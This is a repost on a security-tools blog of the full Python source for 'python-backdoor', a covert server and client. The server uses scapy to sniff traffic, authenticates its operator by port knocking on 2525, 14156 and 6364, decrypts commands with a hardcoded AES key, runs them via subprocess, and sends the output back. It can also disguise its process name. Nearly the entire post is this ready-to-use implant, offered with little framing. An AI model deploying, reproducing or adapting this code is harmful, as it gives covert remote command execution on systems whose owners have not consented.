Quantcast
Channel: Backdoor – Security List Network™
Viewing all articles
Browse latest Browse all 164

python-backdoor is a sniffing traffic backdoor with tcpdump and RCE.

$
0
0

python-backdoor is a sniffing traffic backdoor with tcpdump and RCE.
+ Backdoor server. Sniffs traffic with tcpdump and activates temote command execution if right port pattern is provided. The output is send back to the origin IP. AES encrypPython backdoor servertion is used to encrypt the data back and forth between the client and backdoor.
+ Client program which connects to a backdoor. A sequence of ports is first sent to the backdoor as an authentication (port knocking), then one or a series of commands may be sent to the backdoor for execution. Outputs of each command will be sent back to the client. AES Encryption is used both ways between.Python backdoor client
backdoor.py script:

# ========================================================================
# File:         backdoor.py
# Author:       David Wang
# Date:         October 2015
# Functions:    encrypt_val()       - Encrypts a string
#               decrypt_val()       - Decrypts the encyrpted string
#               verify_root()       - Checks if user is root
#               send_pkt()          - Sends a packet
#               send_data()         - Sends the outpt of a command
#               run_cmd()           - Gets a command from a packet, run it,
#                                     and send back the output
#               port_knock_auth()   - Handles port knocking
#               main()              - Main function
#
# Description:
#   Backdoor server. Sniffs traffic with tcpdump and activates temote
#   command execution if right port pattern is provided. The output is
#   send back to the origin IP. AES encryption is used to encrypt the data
#   back and forth between the client and backdoor.
# ========================================================================
import time
import base64
import argparse
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
from subprocess import *
from Crypto.Cipher import AES
CONN_IPS = {}
MASTER_KEY = "CorrectHorseBatteryStapleGunHead"


# ========================================================================
# Function: encrypt_val()
# Input:    Text        - Text string to be encrypted
# Return:   cipher_text - Encrypted string
#
# Desc.:    Encrypts a string using AES from the PyCrypto library. The
#           master key is provided as a global in the file and only the
#           first 32 characters are used. If the master key is shorter
#           than 32 characters, it will be padded with '0's. The
#           encrypted string is then converted to base64 for an extra
#           layer of encoding.
# ========================================================================
def encrypt_val(text):
    secret = AES.new(MASTER_KEY)
    tag_string = (str(text) + (AES.block_size - len(str(text)) % AES.block_size) * "\0")
    cipher_text = base64.b64encode(secret.encrypt(tag_string))

    return cipher_text


# ========================================================================
# Function: decrypt_val()
# Input:    cipher - Encrypted string to be decrypted
# Return:   result - Decrypted string
#
# Desc.:    Undoes the encryption provided by encrypt_val(). First decodes
#           the b64 string then decrypts the AES version with the global
#           master key. See encrypt_val() on master key usage. Trailing
#           null characters added during encryption are stripped.
# ========================================================================
def decrypt_val(cipher):
    secret = AES.new(MASTER_KEY)
    decrypted = secret.decrypt(base64.b64decode(cipher))
    result = decrypted.rstrip("\0")
    return result


# ========================================================================
# Function: verify_root()
# Input:    None
# Return:   None
#
# Desc.:    Checks if the uid running the program is root. If not, exit.
# ========================================================================
def verify_root():
    if(os.getuid() != 0):
        exit("This program must be run with root/sudo")


# ========================================================================
# Function: send_pkt()
# Input:    pkt - Scapy packet object
# Return:   None
#
# Desc.:    Sends a packet. This function is here in case we need to
#           change how we send every single packet (for example, to use)
#           layer 2 instead of layer 3, we change "send()" to "sendp()".)
# ========================================================================
def send_pkt(packet):
    send(packet)


# ========================================================================
# Function: send_data()
# Input:    destIP  - Destination IP (string)
#           port    - port to send to (string)
#           data    - Data representing the output of a command (string)
# Return:   None
#
# Desc.:    Sends the output to the client. The output is placed in
#           the payload in the raw layer of the packet.
# ========================================================================
def send_data(destIP, port, data):
    packet = IP(dst=destIP) / TCP(sport=80, dport=port) / Raw(load=data)
    send_pkt(packet)


# ========================================================================
# Function: run_cmd()
# Input:    packet  - Scapy packet object
# Return:   None
#
# Desc.:    Executes the command using Python's subprocess library. The
#           function gets the command from the raw layer of the packet,
#           decrypts it, and runs the command with subprocess.Popen. The
#           result is retrieve with subprocess.communicate() from stdout
#           and stderr. We take the stdout result by specifying index 0.
#           The result is then send back to the IP where the packet
#           originally came from.
#           A 100ms sleep is added due to LAN environments where the
#           packets may be sending too fast for scapy sniffers to catch
#           properly.
# ========================================================================
def run_cmd(packet):
    data = packet['Raw'].load
    data = decrypt_val(data)
    output = []
    try:
        command, arguments = data.split(' ', 1)
    except ValueError:
        arguments = None
    try:
        if(arguments is not None):
            out, err = Popen([command, arguments], stdout=PIPE, stderr=PIPE).communicate()
        else:
            out, err = Popen(data, stdout=PIPE, stderr=PIPE).communicate()
    except OSError:
        output = "Invalid Command / Command not found"
    if(out):
        output.append(out)
    if(err):
        output.append(err)
    output = encrypt_val("".join(output))
    time.sleep(0.1)
    send_data(packet[1].src, packet[2].sport, output)


# ========================================================================
# Function: port_knock_auth
# Input:    packet  - Scapy packet object
# Return:   None
# Desc.:    Gets the IP and destination port from the packet and
#           authenticates it with a list of access codes (ports). If the
#           IP successfully accessed the ports in sequence, then the
#           server will begin listening for commands from the IP. If any
#           part of the port knocking is wrong, then the IP is removed
#           from the list of connecting ips and will no longer be
#           processed.
# ========================================================================
def port_knock_auth(packet):
    global CONN_IPS
    ip = packet[1].src
    dport = packet[2].dport
    access = [2525, 14156, 6364]
    dc = 4242

    # If the connecting IP has connected before
    if(ip in CONN_IPS):
        auth = CONN_IPS[ip]
        # Connecting IP is already authenticated
        if(auth == 3):
            # Matches first disconnect port
            if(dport == dc):
                del CONN_IPS[ip]
                print("{} has disconnected".format(ip))
                return
            # Else just decode the packet
            try:
                run_cmd(packet)
            except IndexError:
                pass
        # If port is irrelevant
        elif(dport not in access):
            del CONN_IPS[ip]
        # Connecting IP matches second knock
        elif(dport == access[auth]):
            CONN_IPS[ip] += 1
        else:
            # Fail-safe
            del CONN_IPS[ip]
    elif(dport == access[0]):
        CONN_IPS[ip] = 1


# ========================================================================
# Function: main()
# Input:    None
# Return:   None
# Desc.:    Main function of the backdoor program. First checks to see if
#           the process name should be hidden. Then begins sniffing either
#           all TCP traffic or TCP traffic from a certain interface (if
#           the -i/--iface flag is specified). Each packet that the
#           backdoor receives is sent to port_knock_auth().
# ========================================================================
def main():
    if(args.pname is not None):
        import setproctitle
        setproctitle.setproctitle(args.pname)
    print("Sniffing for traffic...")
    if(args.iface is None):
        sniff(filter="tcp", prn=port_knock_auth)
    else:
        sniff(filter="tcp", iface=args.iface, prn=port_knock_auth)


if __name__ == '__main__':
    verify_root()
    parser = argparse.ArgumentParser("Python backdoor server")
    parser.add_argument("-p", "--pname", help="Disguise process title")
    parser.add_argument("-i", "--iface", help="Interface to sniff packets on")
    args = parser.parse_args()
    try:
        main()
    except KeyboardInterrupt:
        exit("Ctrl+C received. Exiting...")

 
client.py Script:

# ========================================================================
# File:         client.py
# Author:       David Wang
# Date:         October 2015
# Functions:    encrypt_val()       - Encrypts a string
#               decrypt_val()       - Decrypts the encyrpted string
#               verify_root()       - Checks if user is root
#               send_pkt()          - Sends a packet
#               knock()             - Sends a series of ports as a knock
#               send_cmd()          - Sends commands to the backdoor
#               print_result()      - Prints the output of the command
#               main()              - Main function and loop
#
# Description:
#   Client program which connects to a backdoor. A sequence of ports is
#   first sent to the backdoor as an authentication (port knocking), then
#   one or a series of commands may be sent to the backdoor for execution.
#   Outputs of each command will be sent back to the client. AES
#   Encryption is used both ways between.
# ========================================================================
import argparse
import os
import logging
import base64
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  # Surpress scapy errors
from scapy.all import *
from Crypto.Cipher import AES
MASTER_KEY = "CorrectHorseBatteryStapleGunHead"  # AES master key


# ========================================================================
# Function: encrypt_val()
# Input:    Text        - Text string to be encrypted
# Return:   cipher_text - Encrypted string
#
# Desc.:    Encrypts a string using AES from the PyCrypto library. The
#           master key is provided as a global in the file and only the
#           first 32 characters are used. If the master key is shorter
#           than 32 characters, it will be padded with '0's. The
#           encrypted string is then converted to base64 for an extra
#           layer of encoding.
# ========================================================================
def encrypt_val(text):
    secret = AES.new(MASTER_KEY)
    tag_string = (str(text) + (AES.block_size - len(str(text)) % AES.block_size) * "\0")
    cipher_text = base64.b64encode(secret.encrypt(tag_string))
    return cipher_text


# ========================================================================
# Function: decrypt_val()
# Input:    cipher - Encrypted string to be decrypted
# Return:   result - Decrypted string
#
# Desc.:    Undoes the encryption provided by encrypt_val(). First decodes
#           the b64 string then decrypts the AES version with the global
#           master key. See encrypt_val() on master key usage. Trailing
#           null characters added during encryption are stripped.
# ========================================================================
def decrypt_val(cipher):
    secret = AES.new(MASTER_KEY)
    decrypted = secret.decrypt(base64.b64decode(cipher))
    result = decrypted.rstrip("\0")
    return result


# ========================================================================
# Function: verify_root()
# Input:    None
# Return:   None
#
# Desc.:    Checks if the uid running the program is root. If not, exit.
# ========================================================================
def verify_root():
    if(os.getuid() != 0):
        exit("This program must be run with root/sudo")


# ========================================================================
# Function: send_pkt()
# Input:    pkt - Scapy packet object
# Return:   None
#
# Desc.:    Sends a packet. This function is here in case we need to
#           change how we send every single packet (for example, to use)
#           layer 2 instead of layer 3, we change "send()" to "sendp()".)
# ========================================================================
def send_pkt(packet):
    send(packet)


# ========================================================================
# Function: knock()
# Input:    destIP  - Destination IP (String)
#           ports   - A list of ports to knock
# Return:   None
#
# Desc.:    Authenticates to the backdoor using port knocking. This
#           function essentially sends 3 packets one after another. Any
#           number of ports can be passed in for the list as long as
#           the server is modified to handle it.
#
#           For future versions where the ports should be different for
#           covert purposes, it should be done here.
# ========================================================================
def knock(destIP, ports):
    for port in ports:
        packet = IP(dst=destIP) / TCP(dport=port)
        send_pkt(packet)


# ========================================================================
# Function: send_cmd()
# Input:    destIP  - Destination IP (string)
#           port    - port to send to (string)
#           cmd     - Command to run on backdoor (string)
# Return:   None
#
# Desc.:    Sends the command to the backdoor. The command is placed in
#           the payload in the raw layer of the packet.
# ========================================================================
def send_cmd(destIP, port, cmd):
    packet = IP(dst=destIP) / TCP(dport=port) / Raw(load=cmd)
    send_pkt(packet)


# ========================================================================
# Function: print_result()
# Input:    packet  - Scapy packet object
# Return:   None
#
# Desc.:    Prints the payload from the raw layer of the socket. The
#           payload should contain the output of the command that was ran
#           on the backdoor.
# ========================================================================
def print_result(packet):
    try:
        data = packet['Raw'].load
        print(decrypt_val(data))
    except IndexError:
        pass


# ========================================================================
# Function: main()
# Input:    None
# Return:   None
#
# Desc.:    Main function and loop of the client program. First checks
#           if the user is root. The knocks on the specified ports before
#           asking for command inputs and printing the results after
#           execution.
# ========================================================================
def main():
    verify_root()
    ports = [2525, 14156, 6364]
    knock(args.destIP, ports)
    if(args.dport is not None):
        dport = args.dport
    else:
        dport = 3232
    while(1):
        cmd = raw_input("Command to execute: ")
        cmd = encrypt_val(cmd)
        send_cmd(args.destIP, dport, cmd)
        sniff(filter="tcp and src {} and src port 80".format(args.destIP), count=1, prn=print_result)


if __name__ == '__main__':
    parser = argparse.ArgumentParser("Python backdoor client")
    parser.add_argument('destIP', help="Destination address")
    parser.add_argument('-d', '--dport', help="Destination port to the backdoor for commands, defaults to 3232")
    args = parser.parse_args()
    try:
        main()
    except KeyboardInterrupt:
        exit("Ctrl+C received. Exiting...")

Source : https://github.com/Hakus


Viewing all articles
Browse latest Browse all 164

Trending Articles